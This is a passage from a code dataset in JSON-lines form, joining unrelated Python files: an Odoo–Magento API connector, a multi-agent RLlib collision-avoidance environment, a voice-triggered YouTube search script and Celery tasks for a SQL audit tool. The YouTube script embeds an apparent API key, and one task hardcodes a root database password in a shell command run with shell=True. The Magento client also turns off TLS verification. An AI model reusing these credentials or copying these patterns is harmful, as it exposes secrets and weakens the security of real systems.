self.env['region.wizard']._sync_mage_region(\n url, token, countryCode)\n searchDomain += [('name', '=', region)]\n return regionModel.search(searchDomain, limit=1).mag_region_id\n\n @api.multi\n def reset_mapping(self, instanceId=None):\n instanceId = self.env['magento.configure'].search(\n [('active', '=', True)], limit=1).id\n domain = [('instance_id', '=', instanceId)]\n message = 'All '\n regionObjs = self.env['magento.region'].search([])\n if regionObjs:\n regionObjs.unlink()\n message += 'region, '\n categObjs = self.env['magento.category'].search(domain)\n if categObjs:\n categObjs.unlink()\n message += 'category, '\n prodAttrObjs = self.env['magento.product.attribute'].search(domain)\n if prodAttrObjs:\n prodAttrObjs.unlink()\n message += 'product attribute, '\n prodAttrValObjs = self.env['magento.product.attribute.value'].search(\n domain)\n if prodAttrValObjs:\n prodAttrValObjs.unlink()\n message += 'attribute value, '\n attrSetObjs = self.env['magento.attribute.set'].search(domain)\n if attrSetObjs:\n attrSetObjs.unlink()\n message += 'attribute set, '\n prodTempObjs = self.env['magento.product.template'].search(domain)\n if prodTempObjs:\n prodTempObjs.unlink()\n prodObjs = self.env['magento.product'].search(domain)\n if prodObjs:\n prodObjs.unlink()\n message += 'product, '\n partnerObjs = self.env['magento.customers'].search(domain)\n if partnerObjs:\n partnerObjs.unlink()\n message += 'customers, '\n orderObjs = self.env['wk.order.mapping'].search(domain)\n if orderObjs:\n orderObjs.unlink()\n message += 'order, '\n historyObjs = self.env['magento.sync.history'].search([])\n if historyObjs:\n historyObjs.unlink()\n if len(message) > 4:\n message += 'mappings has been deleted successfully'\n else:\n message = \"No mapping entry exist\"\n return self.display_message(message)\n\n @api.model\n def callMagentoApi(self, url, method, token='', data={}, params=[], filter=[], baseUrl=''):\n _logger.debug(\"Call %r : %r \",method.upper(),url)\n action = 'a'\n connectionModel = self.env['magento.configure']\n if not token :\n connection = connectionModel._create_connection()\n if connection:\n baseUrl = connection[0]\n token = connection[1]\n if not baseUrl:\n if self._context.get('instance_id'):\n connectionObj = connectionModel.browse(self._context.get('instance_id'))\n else :\n connectionObj = connectionModel.search([('active', '=', True)], limit=1)\n baseUrl = connectionObj.name\n\n apiUrl = baseUrl + \"/index.php/rest\" + url\n token = token.replace('\"', \"\")\n headers = {'Authorization': token, 'Content-Type': 'application/json'}\n try:\n userAgent = request.httprequest.environ.get('HTTP_USER_AGENT', '')\n headers.update({'User-Agent': userAgent})\n except Exception as e:\n _logger.debug(\"USER_AGENT Error: %r\",e)\n\n if data:\n tmp = json.dumps(data,indent=4)\n _logger.debug(\"Request Data: \"+tmp)\n\n if method == 'get' :\n response = requests.get(\n apiUrl, headers=headers, verify=False, params=params)\n elif method == 'post' :\n action = 'b'\n payload = json.dumps(data)\n response = requests.post(\n apiUrl, headers=headers, data=payload, verify=False, params=params)\n elif method == 'put' :\n action = 'c'\n payload = json.dumps(data)\n response = requests.put(\n apiUrl, headers=headers, data=payload, verify=False, params=params)\n elif method == 'delete' :\n response = requests.delete(\n apiUrl, headers=headers, verify=False, params=params)\n else :\n return \"Wrong API method is selected.\"\n responseData = json.loads(response.text)\n tmp = json.dumps(responseData,indent=4)\n _logger.debug(\"Response: \"+tmp)\n if not response.ok:\n self.env['magento.sync.history'].create({\n 'status': 'no', \n 'action_on': 'api', \n 'action': action, \n 'error_message': \"Error in calling api \"+ url +\" :\\n\"+responseData.get('message', '') +\n \"\\n\"+str(responseData.get('parameters', ''))\n })\n return {}\n return responseData\n \n\n# END\n","sub_path":"odoo_magento_connect/models/mob_synchronization.py","file_name":"mob_synchronization.py","file_ext":"py","file_size_in_byte":8106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"383486142","text":"from math import sin, cos, sqrt, exp, pi\nimport time\nfrom random import uniform\n\nimport gym\n# from gym import error, spaces, utils\nfrom gym.utils import seeding\n\nfrom ray.rllib.env.multi_agent_env import MultiAgentEnv\n\nimport numpy as np\nFLAG_DRAW = True\n# FLAG_DRAW = False\nif FLAG_DRAW:\n from tkinter import *\nimport rvo2\n\nfrom collision_avoidance.envs.utils import *\n\n#adapting to RLlib\n#todo: remove numpy\n\nclass Collision_Avoidance_Env(gym.Env, MultiAgentEnv):\n metadata = {'render.modes': ['human']}\n\n def __init__(self, numAgents = 10):\n self.timeStep = 1/60.\n self.neighborDist = 1.5\n self.maxNeighbors = 5\n self.timeHorizon = 1.5\n self.radius = 0.5 # 2\n self.maxSpeed = 1\n self.velocity = 2#(1, 1)\n self.laser_num = 16\n self.circle_approx_num = 8\n\n self.numAgents = numAgents\n\n self.pixelsize = 500 #1000\n self.framedelay = 30\n self.envsize = 10\n\n self.step_count = 0\n self.max_step = 1000\n\n #gym parmaters\n #Discrete action space\n # self.action_size = 8\n # self.action_space = spaces.Discrete(self.action_size)\n\n #Continuous action space\n self.action_space = gym.spaces.Box(low=-pi, high=pi, shape=(1,))\n self.observation_space = gym.spaces.Box(low=-self.neighborDist, high=self.neighborDist, shape=(self.laser_num*4,))\n\n self.agents_done = [0] * self.numAgents\n\n # self.seed()\n\n self._init_comp_laser_rays()\n self._init_comp_circle_approx()\n\n self.sim = rvo2.PyRVOSimulator(self.timeStep,\n self.neighborDist, \n self.maxNeighbors, \n self.timeHorizon, \n self.radius, \n self.maxSpeed, \n self.velocity)\n self._init_world()\n if FLAG_DRAW:\n self._init_visworld()\n # self.draw_update()\n\n self.reset()\n\n #part of the initial\n def _init_world(self):\n self.world = {}\n self.world[\"agents_id\"] = []\n self.world[\"obstacles_vertex_ids\"] = []\n self.world[\"laserScans\"] = []\n #self.world[\"laserScans\"].append([]) # for now only one laser scan\n\n self.world[\"targets_pos\"] = []\n\n #Add agents\n for i in range(self.numAgents):\n pos = (uniform(self.envsize * 0.5, self.envsize), uniform(0, self.envsize))\n angle = uniform(0, 2 * pi)\n pref_vel = (cos(angle), sin(angle))\n self._init_add_agents(pos, pref_vel)\n\n #set target\n target_pos = (1.0,5.0)\n self.world[\"targets_pos\"].append(target_pos)\n\n self.update_pref_vel()\n\n #Add lasers\n for i in range(self.numAgents):\n self.world[\"laserScans\"].append([0.0] * (self.laser_num * 4))\n\n '''\n #Add lasers\n for i in range(self.numAgents):\n laserScan = []\n for j in range(self.laser_num):\n laserScan.append([0, 0, 0, 0])\n self.world[\"laserScans\"].append(laserScan)\n\n #why add twice?\n # for i in range(self.laser_num):\n # self.world[\"laserScans\"][0].append([0, 0, 0, 0])\n '''\n\n #Add an obstacle\n #map wall\n self._init_add_obstacles((-15.0,0.0),(-15.0,self.envsize),(self.envsize,self.envsize),(self.envsize,0.0))\n # self._init_add_obstacles((0.0,0.0),(0.0,self.envsize),(self.envsize,self.envsize),(self.envsize,0.0))\n\n self._init_add_obstacles((2.0,0.0),(2.5,0.0),(2.5,4.4),(2.0,4.4))\n self._init_add_obstacles((2.0,5.6),(2.5,5.6),(2.5,10.0),(2.0,10.0))\n self.sim.processObstacles()\n\n def _init_add_agents(self, pos, pref_vel):\n agent_id = self.sim.addAgent(pos, \n self.neighborDist, \n self.maxNeighbors, \n self.timeHorizon, \n 1.5, \n self.radius, \n self.maxSpeed, \n pref_vel)\n self.world[\"agents_id\"].append(agent_id)\n\n # self.sim.setAgentPosition(agent_id, pos)\n self.sim.setAgentPrefVelocity(agent_id, pref_vel)\n\n #ADD Obstacles (*** Assume all obstacles are made by 4 verticles, !!!! clockwise !!!! ***)\n # in documentation it is counterclockwise, but I found clockwise works \n #http://gamma.cs.unc.edu/RVO2/documentation/2.0/class_r_v_o_1_1_r_v_o_simulator.html#a0f4a896c78fc09240083faf2962a69f2\n\n def _init_add_obstacles(self, upper_left, upper_right, bottom_right, bottom_left):\n verticals = []\n vertical_id = self.sim.addObstacle([upper_left, upper_right, bottom_right, bottom_left])\n for j in range(4):\n verticals.append(vertical_id)\n vertical_id = self.sim.getNextObstacleVertexNo(vertical_id)\n self.world[\"obstacles_vertex_ids\"].append(verticals)\n\n def update_pref_vel(self):\n for i in range(self.numAgents):\n pref_vel = self.comp_pref_vel(i)\n self.sim.setAgentPrefVelocity(self.world[\"agents_id\"][i], pref_vel)\n\n def comp_pref_vel(self, agent_id):\n pos = self.sim.getAgentPosition(self.world[\"agents_id\"][agent_id])\n target_pos = self.world[\"targets_pos\"][agent_id]\n angle = np.arctan2(target_pos[1]-pos[1],target_pos[0]-pos[0])\n pref_vel = (cos(angle), sin(angle))\n\n return pref_vel\n\n #part of the initial\n def _init_visworld(self):\n self.win = Tk()\n self.canvas = Canvas(self.win, width=self.pixelsize, height=self.pixelsize, background=\"#eaeaea\")\n self.canvas.pack()\n\n self.visWorld = {}\n\n self.visWorld[\"bot_circles_id\"] = []\n self.visWorld[\"vel_lines_id\"] = []\n self.visWorld[\"pref_vel_lines_id\"] = []\n self.visWorld[\"bot_laser_scan_lines_id\"] = []\n #self.visWorld[\"bot_laser_scan_lines_id\"].append([])\n\n # ADD Agents\n for i in range(len(self.world[\"agents_id\"])):\n if i == 0:\n self.visWorld[\"bot_circles_id\"].append(self.canvas.create_oval( \\\n -self.radius, -self.radius, self.radius, self.radius, outline='', fill=\"#ff5733\"))\n else:\n self.visWorld[\"bot_circles_id\"].append(self.canvas.create_oval( \\\n -self.radius, -self.radius, self.radius, self.radius, outline='', fill=\"#f8b739\"))\n self.visWorld[\"vel_lines_id\"].append(self.canvas.create_line(\t\t\\\n 0, 0, self.radius, self.radius, arrow=LAST, width=2, fill=\"#f30067\"))\n self.visWorld[\"pref_vel_lines_id\"].append(self.canvas.create_line(\t\\\n 0, 0, self.radius, self.radius, arrow=LAST, width=2, fill=\"#7bc67b\"))\n\n # ADD Lasers\n # only one laser scan for now\n # for i in range(0, self.laser_num):\n # \tself.visWorld[\"bot_laser_scan_lines_id\"][0].append(self.canvas.create_line(\n # \t\t0, 0, self.radius, self.radius, width=2, fill='purple'))\n\n for i in range(len(self.world[\"laserScans\"])):\n laserScan = []\n for j in range(len(self.world[\"laserScans\"][i])):\n laserScan.append(self.canvas.create_line(\n 0, 0, self.radius, self.radius, width=2, fill='purple'))\n self.visWorld[\"bot_laser_scan_lines_id\"].append(laserScan)\n\n #ADD Obstacles\n self.visWorld[\"obstacles_id\"] = []\n for i in range(len(self.world[\"obstacles_vertex_ids\"])):\n ids = self.world[\"obstacles_vertex_ids\"][i]\n four_vertex_pos = [self.sim.getObstacleVertex(j) for j in ids]\n if i == 0:\n self.visWorld[\"obstacles_id\"].append(self.canvas.create_polygon (\\\n four_vertex_pos[0][0], four_vertex_pos[0][1],\n four_vertex_pos[1][0], four_vertex_pos[1][1],\n four_vertex_pos[2][0], four_vertex_pos[2][1],\n four_vertex_pos[3][0], four_vertex_pos[3][1],\n fill=\"\"))\n else:\n self.visWorld[\"obstacles_id\"].append(self.canvas.create_polygon(\\\n four_vertex_pos[0][0], four_vertex_pos[0][1],\n four_vertex_pos[1][0], four_vertex_pos[1][1],\n four_vertex_pos[2][0], four_vertex_pos[2][1],\n four_vertex_pos[3][0], four_vertex_pos[3][1],\n fill=\"#444444\"))\n\n #ADD targets\n self.visWorld[\"targets_id\"] = []\n for i in range(len(self.world[\"targets_pos\"])):\n self.visWorld[\"targets_id\"].append(self.canvas.create_oval(\t\\\n 0, 0, self.radius, self.radius, outline='', fill=\"#448ef6\"))\n\n\n def _get_obs(self):\n for i in range(self.numAgents):\n agent_id = self.world[\"agents_id\"][i]\n\n #Add pref_vel = norm(target_pos - current_pos) and current_vel into observation\n pref_vel = self.comp_pref_vel(agent_id)\n current_vel = self.sim.getAgentVelocity(agent_id)\n # observation = [pref_vel[0],pref_vel[1],current_vel[0],current_vel[1]]\n observation = []\n\n #LASER\n relative_neighbor_lines = []\n neighbor_ids = []\n relative_obstacle_lines = []\n\n if self.sim.getAgentNumAgentNeighbors(agent_id) != 0:\n relative_neighbor_lines, neighbor_ids = self._obs_neighbor_agent_lines(agent_id)\n \n if self.sim.getAgentNumObstacleNeighbors(agent_id) != 0:\n relative_obstacle_lines = self._obs_obstacle_lines(agent_id)\n \n neighbor_vel = [self.sim.getAgentVelocity(id) for id in neighbor_ids]\n assert len(relative_neighbor_lines) == len(neighbor_vel)\n relative_neighbor_lines_with_vel = \\\n [(relative_neighbor_lines[i],neighbor_vel[i]) for i in range(len(relative_neighbor_lines))]\n relative_obstacle_lines_with_vel = \\\n [(relative_obstacle_lines[i],(0,0)) for i in range(len(relative_obstacle_lines))]\n\n lines_with_vel = relative_neighbor_lines_with_vel + relative_obstacle_lines_with_vel\n\n # convert to refrence frame of robot\n #agent_pos = self.sim.getAgentPosition(agent_id)\n\n if len(lines_with_vel) > 0:\n laser_result = comp_laser(self.ray_lines, lines_with_vel, pref_vel)\n else:\n laser_result = [((0, 0), (0, 0))] * self.laser_num\n # print('------------------------laser_result\\n',laser_result)\n\n for pos_vel in laser_result:\n observation += [pos_vel[0][0],pos_vel[0][1],pos_vel[1][0],pos_vel[1][1]]\n # assert len(observation) == 4 + self.laser_num*4\n assert len(observation) == self.laser_num*4\n\n self.gym_obs['agent_'+str(i)] = observation\n # return np.array(observation, dtype=np.float32)\n return self.gym_obs\n\n def _obs_neighbor_agent_lines(self, agent_id):\n neighbor_lines = []\n neighbor_ids = []\n\n for i in range(self.sim.getAgentNumAgentNeighbors(agent_id)):\n # print(\"found agents\",self.sim.getAgentAgentNeighbor(agent_id,i))\n neighbor_id = self.sim.getAgentAgentNeighbor(agent_id,i)\n neighbor_ids += [neighbor_id] * 8\n\n my_pos = self.sim.getAgentPosition(agent_id)\n neighbor_pos = self.sim.getAgentPosition(neighbor_id)\n relative_pos = (neighbor_pos[0]-my_pos[0],neighbor_pos[1]-my_pos[1])\n\n for line in self.approx_lines:\n neighbor_lines.append(((line[0][0] + relative_pos[0],line[0][1] + relative_pos[1]),\n (line[1][0] + relative_pos[0],line[1][1] + relative_pos[1])))\n\n # print('neighbor_lines',neighbor_lines)\n #[((1.454, -0.054), (1.308, -0.408))...]\n return neighbor_lines, neighbor_ids\n\n #computer relative obstacle lines from one agent\n def _obs_obstacle_lines(self, agent_id):\n obstacle_lines = []\n # print('NumObstacleNeighbors',self.sim.getAgentNumObstacleNeighbors(agent_id))\n\n for i in range(self.sim.getAgentNumObstacleNeighbors(agent_id)):\n v1_id = self.sim.getAgentObstacleNeighbor(agent_id,i)\n v2_id = self.sim.getNextObstacleVertexNo(v1_id)\n # print(\"found wall\",self.sim.getAgentObstacleNeighbor(agent_id,i))\n # print(self.sim.getObstacleVertex(v1_id),self.sim.getObstacleVertex(v2_id))\n v1_pos = self.sim.getObstacleVertex(v1_id)\n v2_pos = self.sim.getObstacleVertex(v2_id)\n agent_pos = self.sim.getAgentPosition(agent_id)\n\n obstacle_lines.append(((v1_pos[0] - agent_pos[0], v1_pos[1] - agent_pos[1]),\n (v2_pos[0] - agent_pos[0], v2_pos[1] - agent_pos[1])))\n # print(obstacle_lines)\n #should be like [[(-1.95, -0.18), (-2.45, -0.18)]...]\n return obstacle_lines\n\n #computer laser lines from one agent\n def _init_comp_laser_rays(self):\n ray_lines = []\n d_theta = 2*pi / self.laser_num\n #theta_int = 0\n\n for i in range(self.laser_num):\n theta = i * d_theta\n laser_end_pos = (self.neighborDist*cos(theta), - self.neighborDist*sin(theta))\n ray_lines.append(((0,0), (laser_end_pos[0], laser_end_pos[1])))\n # print('ray_lines',ray_lines)\n # should be like [[(0, 0), (1.5, -0.0)], [(0, 0), (1.38, -0.57)]...]\n self.ray_lines = ray_lines\n\n #use polygon to approxmate circles\n def _init_comp_circle_approx(self):\n approx_lines = []\n d_theta = 2*pi / self.circle_approx_num\n fisrt_approx_pos = (self.radius*cos(0), - self.radius*sin(0))\n approx_pos = fisrt_approx_pos\n\n for i in range(1, self.circle_approx_num):\n theta = i * d_theta\n new_approx_pos = (self.radius*cos(theta), - self.radius*sin(theta))\n approx_lines.append(((approx_pos[0],approx_pos[1]), (new_approx_pos[0], new_approx_pos[1])))\n approx_pos = new_approx_pos\n\n approx_lines.append(((approx_pos[0],approx_pos[1]), (fisrt_approx_pos[0], fisrt_approx_pos[1])))\n # print('approx',approx)\n # should be like [[(1.5, -0.0), (1.06, -1.06)]...]\n self.approx_lines = approx_lines\n\n def done_test(self):\n for i in range(self.numAgents):\n agent_id = self.world[\"agents_id\"][i]\n if self.agents_done[i] == 0:\n pos = self.sim.getAgentPosition(self.world[\"agents_id\"][agent_id])\n # target_pos = self.world[\"targets_pos\"][agent_id]\n # target_dist = (target_pos[1]-pos[1])**2 + (target_pos[0]-pos[0])**2\n if pos[0] < 2.0:\n self.agents_done[agent_id] = 1\n self.world[\"targets_pos\"][agent_id] = (-10.0,5.0)\n if 0 not in self.agents_done:\n return True\n else:\n return False\n\n def step(self, action):\n\n rl_vels = []\n pref_vels = []\n for i in range(self.numAgents):\n agent_id = self.world[\"agents_id\"][i]\n theta = action['agent_'+str(i)]\n\n pref_vel = np.array(self.comp_pref_vel(agent_id))\n pref_vels.append(pref_vel)\n \n goal_theta = np.arctan2(pref_vel[1], pref_vel[0])\n goal_theta += theta\n rl_vel = (cos(goal_theta), sin(goal_theta))\n rl_vels.append(rl_vel)\n\n self.sim.setAgentPrefVelocity(agent_id, (float(rl_vel[0]),float(rl_vel[1])))\n\n self.sim.doStep()\n if FLAG_DRAW:\n self.draw_update()\n\n for i in range(self.numAgents):\n pref_vel = pref_vels[i]\n rl_vel = rl_vels[i]\n agent_id = self.world[\"agents_id\"][i]\n\n orca_vel = self.sim.getAgentVelocity(agent_id)\n\n scale = 0.3\n R_goal = np.dot(orca_vel, pref_vel)\n # R_goal = np.dot(rl_vel, pref_vel)\n R_polite = np.dot(orca_vel, rl_vel)\n self.gym_rewards['agent_' + str(i)] = scale*R_goal + (1-scale)*R_polite\n\n # self.gym_rewards['agent_'+str(i)] = R_polite - 1 if self.agents_done[agent_id] == 0 else R_polite\n\n self.gym_dones['__all__'] = self.done_test()\n\n # reward += np.max([1/target_dist, 5])\n\n self.step_count += 1\n if self.step_count >= self.max_step:\n self.gym_dones['__all__'] = True\n self.gym_obs = self._get_obs()\n \n if self.gym_dones['__all__'] == True:\n print('episode_time,', time.clock() - self.t_start)\n\n return self.gym_obs, self.gym_rewards, self.gym_dones, self.gym_infos\n\n def rotate_laser_scan(self, laser, pref_vel):\n theta = np.arctan2(pref_vel[1], pref_vel[0])\n\n rot = np.array([[np.cos(theta), -np.sin(theta)],\n [np.sin(theta), np.cos(theta)]])\n\n new_laser = []\n for i in range(0, len(laser), 4):\n point = laser[i:i+2]\n vel = laser[i+2:i+4]\n\n point = np.array(point)\n vel = np.array(vel) + point\n\n point = rot @ point\n vel = rot @ vel\n\n vel = vel - point\n\n new_laser.append(point[0])\n new_laser.append(point[1])\n new_laser.append(vel[0])\n new_laser.append(vel[1])\n\n return new_laser\n\n\n\n #not used in RL, just for orca visualization\n def orca_step(self, action):\n self.sim.doStep()\n self.update_pref_vel()\n self.gym_obs = self._get_obs()\n\n pref_vel = np.array(self.comp_pref_vel(self.world[\"agents_id\"][0]))\n\n # need to update for multiple robots\n # need to move this into render() or step()\n self.world[\"laserScans\"][0] = self.rotate_laser_scan(self.gym_obs['agent_0'], pref_vel)\n \n self.draw_update()\n\n\n def reset(self):\n #clear gym parameters\n self.gym_obs = {}\n self.gym_rewards = {}\n self.gym_dones = {'__all__':False}\n self.gym_infos = {}\n\n #according to https://github.com/ray-project/ray/blob/master/python/ray/rllib/env/multi_agent_env.py\n #each agent needs a string name\n for i in range(self.numAgents):\n self.gym_obs['agent_'+str(i)] = [0.0] * (4 + self.laser_num * 4)\n self.gym_rewards['agent_'+str(i)] = 0\n self.gym_dones['agent_'+str(i)] = False\n self.gym_infos['agent_'+str(i)] = {}\n\n for i in range(self.numAgents):\n agent_id = self.world[\"agents_id\"][i]\n pos = (uniform(self.envsize * 0.5, self.envsize), uniform(0, self.envsize))\n self.sim.setAgentPosition(agent_id, pos)\n\n self.update_pref_vel()\n self.step_count = 0\n self.agents_done = [0] * self.numAgents\n\n\n self.t_start = time.clock()\n\n return self._get_obs()\n\n #gym native render, should be useless\n def render(self, mode='human'):\n self.draw_update()\n\n def seed(self, seed=None):\n self.rng, seed = seeding.np_random(seed)\n return [seed]\n\n #gym native func, should never be called\n def close(self):\n print(\"CALLING close()\")\n input()\n\n\n def draw_world(self):\n scale = self.pixelsize / self.envsize\n\n #draw agents\n for i in range(len(self.world[\"agents_id\"])):\n self.canvas.coords(self.visWorld[\"bot_circles_id\"][i],\n scale * (self.sim.getAgentPosition(self.world[\"agents_id\"][i])[0] - self.radius),\n scale * (self.sim.getAgentPosition(self.world[\"agents_id\"][i])[1] - self.radius),\n scale * (self.sim.getAgentPosition(self.world[\"agents_id\"][i])[0] + self.radius),\n scale * (self.sim.getAgentPosition(self.world[\"agents_id\"][i])[1] + self.radius))\n self.canvas.coords(self.visWorld[\"vel_lines_id\"][i],\n scale * self.sim.getAgentPosition(self.world[\"agents_id\"][i])[0],\n scale * self.sim.getAgentPosition(self.world[\"agents_id\"][i])[1],\n scale * (self.sim.getAgentPosition(self.world[\"agents_id\"][i])[0] + 2 * self.radius *\n self.sim.getAgentVelocity(self.world[\"agents_id\"][i])[0]),\n scale * (self.sim.getAgentPosition(self.world[\"agents_id\"][i])[1] + 2 * self.radius *\n self.sim.getAgentVelocity(self.world[\"agents_id\"][i])[1]))\n self.canvas.coords(self.visWorld[\"pref_vel_lines_id\"][i],\n scale * self.sim.getAgentPosition(self.world[\"agents_id\"][i])[0],\n scale * self.sim.getAgentPosition(self.world[\"agents_id\"][i])[1],\n scale * (self.sim.getAgentPosition(self.world[\"agents_id\"][i])[0] + 2 * self.radius *\n self.sim.getAgentPrefVelocity(self.world[\"agents_id\"][i])[0]),\n scale * (self.sim.getAgentPosition(self.world[\"agents_id\"][i])[1] + 2 * self.radius *\n self.sim.getAgentPrefVelocity(self.world[\"agents_id\"][i])[1]))\n\n #draw obstacles\n for i in range(len(self.world[\"obstacles_vertex_ids\"])):\n ids = self.world[\"obstacles_vertex_ids\"][i]\n self.canvas.coords(self.visWorld[\"obstacles_id\"][i],\n scale * self.sim.getObstacleVertex(ids[0])[0],\n scale * self.sim.getObstacleVertex(ids[0])[1],\n scale * self.sim.getObstacleVertex(ids[1])[0],\n scale * self.sim.getObstacleVertex(ids[1])[1],\n scale * self.sim.getObstacleVertex(ids[2])[0],\n scale * self.sim.getObstacleVertex(ids[2])[1],\n scale * self.sim.getObstacleVertex(ids[3])[0],\n scale * self.sim.getObstacleVertex(ids[3])[1])\n\n #draw targets\n for i in range(len(self.world[\"targets_pos\"])):\n self.canvas.coords(self.visWorld[\"targets_id\"][i],\n scale * (self.world[\"targets_pos\"][i][0] - self.radius),\n scale * (self.world[\"targets_pos\"][i][1] - self.radius),\n scale * (self.world[\"targets_pos\"][i][0] + self.radius),\n scale * (self.world[\"targets_pos\"][i][1] + self.radius))\n\n #draw Lasers\n for i in range(1): # for i in range(len(self.world[\"laserScans\"])):\n vis_i = 0\n for j in range(0, len(self.world[\"laserScans\"][i]), 4):\n pos_vel = self.world[\"laserScans\"][i][j:j + 4]\n self.canvas.coords(self.visWorld[\"bot_laser_scan_lines_id\"][i][vis_i],\n scale * self.sim.getAgentPosition(self.world[\"agents_id\"][i])[0],\n scale * self.sim.getAgentPosition(self.world[\"agents_id\"][i])[1],\n scale * (self.sim.getAgentPosition(self.world[\"agents_id\"][i])[0] + pos_vel[0]),\n scale * (self.sim.getAgentPosition(self.world[\"agents_id\"][i])[1] + pos_vel[1]))\n vis_i += 1\n\n\n def draw_update(self):\n self.draw_world()\n self.win.update_idletasks()\n self.win.update()\n time.sleep(self.timeStep)\n\n\nif __name__ == \"__main__\":\n CA = Collision_Avoidance_Env()\n for i in range(2000):\n CA.orca_step((0,0))\n ","sub_path":"collision_avoidance/envs/collision_avoidence_env.py","file_name":"collision_avoidence_env.py","file_ext":"py","file_size_in_byte":23692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"57789402","text":"import requests\nfrom subprocess import call\nfrom urllib import quote_plus\nfrom pprint import PrettyPrinter\nimport speech_recognition as sr\n\n\np = PrettyPrinter(indent=4)\n\nr = sr.Recognizer()\nwith sr.Microphone() as source:\n print(\"Say the name of a song!\")\n audio = r.listen(source)\n video = r.recognize_google(audio)\n#video = \"gucci\"\nvideo = quote_plus(video)\nURL = \"https://www.googleapis.com/youtube/v3/search?part=snippet&maxResults=25&order=relevance&q=\" + video + \"&type=video&key=AIzaSyDHA5AKa4A-RjqdYPxBJnNe4zsJzecetX4\"\nprint(URL)\nr = requests.get(url=URL)\n\ndata = r.json()\ntry:\n\tp.pprint(data[\"items\"][0][\"id\"][\"videoId\"])\n\n\tvideo_key = data[\"items\"][0][\"id\"][\"videoId\"]\n\tprint(\"launching\")\n\tcall([\"xdg-open\",\"https://www.youtube.com/watch?v=\"+video_key])\n\tprint(\"launched\")\n\nexcept Exception as e:\n\tprint(\"video not found\")\n\n","sub_path":"Agent/youtube.py","file_name":"youtube.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"96698668","text":"# -*- coding:utf-8 -*-\n# edit by fuzongfei\nimport datetime\nimport logging\nimport re\nimport subprocess\n\nimport pymysql\nfrom celery import shared_task\nfrom dingtalkchatbot.chatbot import DingtalkChatbot\nfrom django.core.mail import EmailMessage\nfrom django.template.loader import render_to_string\n\nfrom sqlaudit.settings import EMAIL_FROM\nfrom sqlorders.models import MysqlConfig, MysqlSchemas, SysConfig\nfrom webshell.models import DeadlockCommand, DeadlockRecord\n\nlogger = logging.getLogger(__name__)\n\n\n@shared_task\ndef sync_schemas():\n ignored_params = ('information_schema', 'mysql', 'percona', 'performance_schema', 'sys')\n schema_filter_query = f\"select schema_name from information_schema.schemata where SCHEMA_NAME not in {ignored_params}\"\n\n collect_from_host = []\n for row in MysqlConfig.objects.all():\n collect_from_host.append({\n 'user': row.user,\n 'password': row.password,\n 'db_host': row.host,\n 'db_port': row.port,\n 'envi_id': row.envi_id,\n 'is_type': row.is_type,\n 'comment': row.comment\n })\n\n # 删除mysql schema统计表中在mysql配置表中已经移除的主机\n # 该操作会自动移除用户该主机的schema授权\n all_host = list(MysqlSchemas.objects.values_list('host', flat=True).distinct())\n exisit_host = list(MysqlConfig.objects.values_list('host', flat=True).distinct())\n delete_host = list(set(all_host).difference(set(exisit_host)))\n delete_schema_join = MysqlSchemas.objects.filter(host__in=delete_host).values_list('schema_join', flat=True)\n MysqlSchemas.objects.filter(schema_join__in=delete_schema_join).delete()\n\n # 连接到目标数据库,统计schema\n for row in collect_from_host:\n try:\n cnx = pymysql.connect(user=row['user'],\n password=row['password'],\n host=row['db_host'],\n port=row['db_port'],\n charset='utf8mb4',\n cursorclass=pymysql.cursors.DictCursor)\n try:\n with cnx.cursor() as cursor:\n cursor.execute(schema_filter_query)\n for i in cursor.fetchall():\n schema_join = '_'.join(([row['db_host'], str(row['db_port']), i['schema_name']]))\n MysqlSchemas.objects.update_or_create(\n schema_join=schema_join,\n defaults={'user': row['user'], 'password': row['password'], 'host': row['db_host'],\n 'port': row['db_port'], 'schema': i['schema_name'], 'envi_id': row['envi_id'],\n 'is_type': row['is_type'], 'comment': row['comment']}\n )\n finally:\n cnx.close()\n except Exception as err:\n logger.error(err)\n continue\n\n\ndef check_rules(abstract, rule):\n if abstract == '':\n return False\n else:\n if not re.search(rule, abstract, re.I):\n return True\n else:\n return False\n\n\n@shared_task\ndef detect_deadlock(*args):\n # 检查实例,并生生成实例死锁记录的命令\n # 使用本机的数据库作为死锁记录\n # 库名:auditsql,表名:dbaudit_deadlocks_records\n command = \"/usr/bin/pt-deadlock-logger --user={user} --password={password} --host={host} --port={port} \" \\\n \"--no-version-check --create-dest-table \" \\\n \"--dest h=localhost,u=root,p=123.com,D=sqlaudit,t=sqlaudit_deadlocks_records --iterations 1\"\n\n query = \"SELECT id, `user`, `password`, `host`, `port` FROM sqlaudit_mysql_schemas \" \\\n \"WHERE sqlaudit_mysql_schemas.is_type = 1 group by host,port\"\n\n for row in MysqlSchemas.objects.raw(query):\n format_command = command.format(user=row.user, password=row.password, host=row.host, port=row.port)\n if not DeadlockCommand.objects.filter(schema_id=row.id):\n DeadlockCommand.objects.create(schema_id=row.id, command=format_command)\n\n # 轮询探测死锁\n for row in DeadlockCommand.objects.all():\n process = subprocess.Popen(row.command, shell=True)\n process.wait()\n\n # 检查死锁,并发送报告\n i = 0\n step = 2\n result = []\n data = list(DeadlockRecord.objects.filter(is_pull=0).values())\n while i <= (len(data) - step):\n result.append({'data': [data[i], data[i + 1]]})\n i += step\n\n format_deadlock_data = ''\n j = 1\n for row in result:\n double_data = ''\n for i in row['data']:\n text = f\"主机:{i['server']}\\n\" \\\n f\"时间: {i['ts']}\\n\" \\\n f\"线程ID: {i['thread']}\\n\" \\\n f\"事务ID: {i['txn_id']}\\n\" \\\n f\"事务激活时间: {i['txn_time']}\\n\" \\\n f\"用户名: {i['user']}\\n\" \\\n f\"主机名: {i['hostname']}\\n\" \\\n f\"IP: {i['ip']}\\n\" \\\n f\"库名: {i['db']}\\n\" \\\n f\"表名: {i['tbl']} \\n\" \\\n f\"发生死锁的索引: {i['idx']}\\n\" \\\n f\"锁类型: {i['lock_type']}\\n\" \\\n f\"锁模式: {i['lock_mode']}\\n\" \\\n f\"请求锁: {i['wait_hold']}\\n\" \\\n f\"是否回滚: {'否' if i['victim'] == 0 else '是'}\\n\" \\\n f\"查询: {i['query']}\\n\\n\"\n double_data += text\n DeadlockRecord.objects.filter(id=i['id']).update(is_pull=1)\n\n format_deadlock_data += ''.join((f'## 死锁记录{j} ##:\\n', double_data))\n j += 1\n\n if result:\n # 